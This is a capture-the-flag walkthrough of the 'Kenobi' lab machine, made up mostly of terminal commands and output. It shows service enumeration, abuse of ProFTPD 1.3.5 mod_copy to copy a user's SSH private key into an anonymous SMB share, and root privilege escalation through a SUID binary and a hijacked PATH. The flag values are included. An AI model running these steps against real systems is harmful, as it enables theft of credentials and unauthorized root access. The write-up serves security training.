

kenobi

nmap, tcp connect scan, list version

```
root@kali:~/Desktop# nmap -sT -sV kenobi
Starting Nmap 7.70 ( https://nmap.org ) at 2020-03-05 16:12 +08
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 88.80% done; ETC: 16:12 (0:00:01 remaining)
Nmap scan report for kenobi (10.10.140.237)
Host is up (0.19s latency).
Not shown: 993 closed ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          ProFTPD 1.3.5
22/tcp    open  ssh          OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.18 ((Ubuntu))
111/tcp   open  rpcbind      2-4 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
2049/tcp   open  nfs_acl      2-3 (RPC #100227)
```

Enumerating nfs

```
root@kali:/tmp/kenobi/var/www/html# nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount kenobi
Starting Nmap 7.70 ( https://nmap.org ) at 2020-03-05 12:22 +08
Nmap scan report for kenobi (10.10.142.49)
Host is up (0.19s latency).
```

```
PORT      STATE SERVICE
111/tcp   open  rpcbind
| nfs-ls: Volume /var
|   access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION  UID  GID  SIZE  TIME                               FILENAME
| rwxr-xr-x    0    0   4096  2019-09-04T08:53:24  .
| rwxr-xr-x    0    0   4096  2019-09-04T12:27:33  ..
| rwxr-xr-x    0    0   4096  2019-09-04T12:09:49  backups
| rwxr-xr-x    0    0   4096  2019-09-04T10:37:44  cache
| rwxrwxrwt    0    0   4096  2019-09-04T08:43:56  crash
| rwxrwsr-x    0   50   4096  2016-04-12T20:14:23  local
| rwxrwxrwx    0    0    9    2019-09-04T08:41:33  lock
| rwxrwxr-x    0  108   4096  2019-09-04T10:37:44  log
| rwxr-xr-x    0    0   4096  2019-01-29T23:27:41  snap
| rwxr-xr-x    0    0   4096  2019-09-04T08:53:24  www
|_
| nfs-showmount:
|_ /var *
| nfs-statfs:
|   Filesystem  1K-blocks  Used      Available  Use%  Maxfilesize  Maxlink
|_ /var          9204224.0  1838588.0  6875040.0  22%   16.0T        32000
```

```
Nmap done: 1 IP address (1 host up) scanned in 3.39 seconds
root@kali:/tmp/kenobi/var/www/html#
```

Enumerating ftp service

```
root@kali:/tmp/kenobi# ftp
ftp> open
(to) kenobi
Connected to kenobi.
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.142.49]
Name (kenobi:root): ^C
ftp> bye
221 Goodbye.
root@kali:/tmp/kenobi#
```

Vulnerable ftp version found

```
root@kali:/tmp/kenobi# searchsploit proftpd | grep 1.3.5
ProFTPD 1.3.5 - 'mod_copy' Command Execution (Metasploit)
ProFTPD 1.3.5 - 'mod_copy' Remote Command Execution
ProFTPD 1.3.5 - File Copy
```

Enumerating smb service

```
root@kali:~/Desktop# smbclient -L \\kenobi -N
```

Sharename	Type	Comment
-----	----	-----
print\$	Disk	Printer Drivers
anonymous	Disk	
IPC\$	IPC	IPC Service (kenobi server (Samba, Ubuntu))

Reconnecting with SMB1 for workgroup listing.

Server	Comment
-----	-----
Workgroup	Master
-----	-----
WORKGROUP	KENOBI

```
root@kali:~/Desktop#
```

```
root@kali:/tmp/kenobi# smbclient \\\kenobi\\anonymous
```

Enter WORKGROUP\root's password:

Try "help" to get a list of possible commands.

```
smb: \> dir
```

.	D	0	Wed Sep 4 18:49:09 2019
..	D	0	Wed Sep 4 18:56:07 2019
log.txt	N	12237	Wed Sep 4 18:49:09 2019

9204224 blocks of size 1024. 6877076 blocks available

Contents of log.txt

There are 2 important things to note

1. Location of id_rsa private key

2. Location of shares

```
Generating public/private rsa key pair.  
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):  
Created directory '/home/kenobi/.ssh'.  
Enter passphrase (empty for no passphrase):  
Enter same passphrase again:  
Your identification has been saved in /home/kenobi/.ssh/id_rsa.  
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.  
The key fingerprint is:  
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi  
The key's randomart image is:  
+---[RSA 2048]---+  
|  
|                ..  
|             . 0. .  
|           ..=0 +.  
|         . So.o++o.  
|    o  ...+oo.Bo*o  
| o o  ..o.o+.@oo  
|   . . . E .O+= .  
|     . .   oBo.  
+-----[SHA256]-----+
```

```
[anonymous]  
path = /home/kenobi/share  
browseable = yes  
read only = yes  
guest ok = yes
```

Copying kenobi's private key to shared directory so we are able to download it to our attacking machine

```
root@kali:/tmp/kenobi# !!  
nc kenobi 21  
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.142.49]  
site cpfr /home/kenobi/.ssh/id_rsa  
350 File or directory exists, ready for destination name  
site cpto /home/kenobi/share/id_rsa  
250 Copy successful  
█
```

```
root@kali:/tmp/kenobi# smbclient \\\kenobi\\anonymous
Enter WORKGROUP\\root's password:
Try "help" to get a list of possible commands.
smb: \> dir
.                D           0   Thu Mar  5 11:32:41 2020
..               D           0   Wed Sep  4 18:56:07 2019
id_rsa           N       1675   Thu Mar  5 11:32:41 2020
log.txt          N      12237   Wed Sep  4 18:49:09 2019
get
          9204224 blocks of size 1024. 6877088 blocks available
smb: \> prompt
smb: \> get id_rsa
getting file \id_rsa of size 1675 as id_rsa (2.1 KiloBytes/sec) (average 2.1 KiloBytes/sec)
smb: \> exit
```

Login successful, proceed to view 1st flag

```
kenobi@kenobi:~$ cat user.txt
d0b0f3f53b6caa532a83915e19224899
kenobi@kenobi:~$
```

Finding suid-ed binaries. /usr/bin/menu seems to stand out

```
kenobi@kenobi:~$ find / - type f -perm -4000 -user root -group root 2> /dev/null | xargs ls -l
-rwsr-xr-x 1 root root 31K Jul 12 2016 /bin/fusermount
-rwsr-xr-x 1 root root 40K May 16 2018 /bin/mount
-rwsr-xr-x 1 root root 44K May 7 2014 /bin/ping
-rwsr-xr-x 1 root root 44K May 7 2014 /bin/ping6
-rwsr-xr-x 1 root root 40K May 16 2017 /bin/su
-rwsr-xr-x 1 root root 27K May 16 2018 /bin/umount
-rwsr-xr-x 1 root root 93K May 8 2019 /sbin/mount.nfs
-rwsr-xr-x 1 root root 49K May 16 2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 40K May 16 2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 74K May 16 2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 8.7K Sep 4 2019 /usr/bin/menu
-rwsr-xr-x 1 root root 33K May 16 2017 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 39K May 16 2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 33K May 16 2017 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 53K May 16 2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 23K Jan 15 2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 134K Jul 4 2017 /usr/bin/sudo
-rwsr-xr-x 1 root root 10K Mar 27 2017 /usr/lib/eject/dmccrypt-get-device
-rwsr-xr-x 1 root root 419K Jan 31 2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 15K Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-sr-x 1 root root 97K Jan 29 2019 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 39K Jun 14 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
kenobi@kenobi:~$
```

Here we will do path manipulation


```
kenobi@kenobi:~$ menu
```

```
*****
```

1. status check
2. kernel version
3. ifconfig

```
** Enter your choice :3
```

```
eth0      Link encap:Ethernet  HWaddr 02:4e:cc:56:5d:44
          inet addr:10.10.142.49  Bcast:10.10.255.255  Mask:255.255.0.0
          inet6 addr: fe80::4e:ccff:fe56:5d44/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:9001  Metric:1
          RX packets:80908 errors:0 dropped:0 overruns:0 frame:0
          TX packets:78997 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:4991382 (4.9 MB)  TX bytes:6150437 (6.1 MB)
```

```
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:198 errors:0 dropped:0 overruns:0 frame:0
          TX packets:198 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:14581 (14.5 KB)  TX bytes:14581 (14.5 KB)
```

We will make our custom directory to be the first path to be searched on if a program calls on ifconfig

```
kenobi@kenobi:~$ echo $PATH
/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
kenobi@kenobi:~$ export PATH=/home/kenobi/share/:$PATH
kenobi@kenobi:~$ echo $PATH
/home/kenobi/share/:/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

We will rename our bash binary as ifconfig

```
kenobi@kenobi:~$ cp share/bash share/ifconfig
kenobi@kenobi:~$ ls -lah share/
total 2.1M
drwxr-xr-x 2 kenobi kenobi 4.0K Mar  4 22:14 .
drwxr-xr-x 5 kenobi kenobi 4.0K Mar  4 22:07 ..
-rwxr-xr-x 1 kenobi kenobi 1014K Mar  4 22:13 bash
-rwxr-xr-x 1 kenobi kenobi 1014K Mar  4 22:14 ifconfig
-rw-rw-r-- 1 kenobi kenobi 12K Sep  4 2019 log.txt
```

Privilege escalation, when we choose option 3, we will automatically get root

```
kenobi@kenobi:~$ menu
```

```
*****
```

1. status check
2. kernel version
3. ifconfig

```
** Enter your choice :3
```

```
To run a command as administrator (user "root"), use "sudo <command>".  
See "man sudo_root" for details.
```

```
root@kenobi:~# cd /root
```

```
root@kenobi:/root# ls -lah
```

```
total 32K
```

```
drwx-----  3 root root 4.0K Sep  4 2019 .  
drwxr-xr-x 23 root root 4.0K Sep  4 2019 ..  
lrwxrwxrwx  1 root root   9 Sep  4 2019 .bash_history -> /dev/null  
-rw-r--r--  1 root root 3.1K Oct 22 2015 .bashrc  
drwx-----  2 root root 4.0K Sep  4 2019 .cache  
-rw-r--r--  1 root root  148 Aug 17 2015 .profile  
-rw-r--r--  1 root root   33 Sep  4 2019 root.txt  
-rw-----  1 root root 5.3K Sep  4 2019 .viminfo
```

```
root@kenobi:/root# cat root.txt
```

```
177b3cd8562289f37382721c28381f02
```

Other notes:

/etc/exports for nfs

```
var      *(ro,sync,no_subtree_check)
```